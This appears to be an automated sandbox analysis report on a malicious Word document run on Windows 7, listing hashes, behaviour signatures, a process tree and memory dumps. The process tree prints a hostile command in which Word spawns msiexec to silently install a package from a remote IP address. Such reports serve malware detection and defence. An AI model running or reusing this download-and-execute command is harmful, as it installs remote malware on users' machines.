Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 22:24

General

  • Target

    0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc

  • Size

    98KB

  • MD5

    477e6a9efebdbf54f09d06ef8a29da79

  • SHA1

    bc219e56929889acdf80cf692cd6b0d7a43b8207

  • SHA256

    0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb

  • SHA512

    e209d8fa97c11208bd570035ba90469f9dce9ef1a6916f97ec5932aa836313ef838fb9ab65c87abde7dcc34948354a951a2a3937aa4f13945e24b6081ba7d6c2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec /q step1=commonl step2=files /i http://185.140.248.17/ltm1
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1060
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Suspicious use of AdjustPrivilegeToken
      PID:1104

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1104-60-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp
      Filesize

      8KB

    • memory/1744-54-0x0000000072611000-0x0000000072614000-memory.dmp
      Filesize

      12KB

    • memory/1744-55-0x0000000070091000-0x0000000070093000-memory.dmp
      Filesize

      8KB

    • memory/1744-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1744-57-0x0000000075761000-0x0000000075763000-memory.dmp
      Filesize

      8KB

    • memory/1744-59-0x00000000057C0000-0x000000000640A000-memory.dmp
      Filesize

      12.3MB

    • memory/1744-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB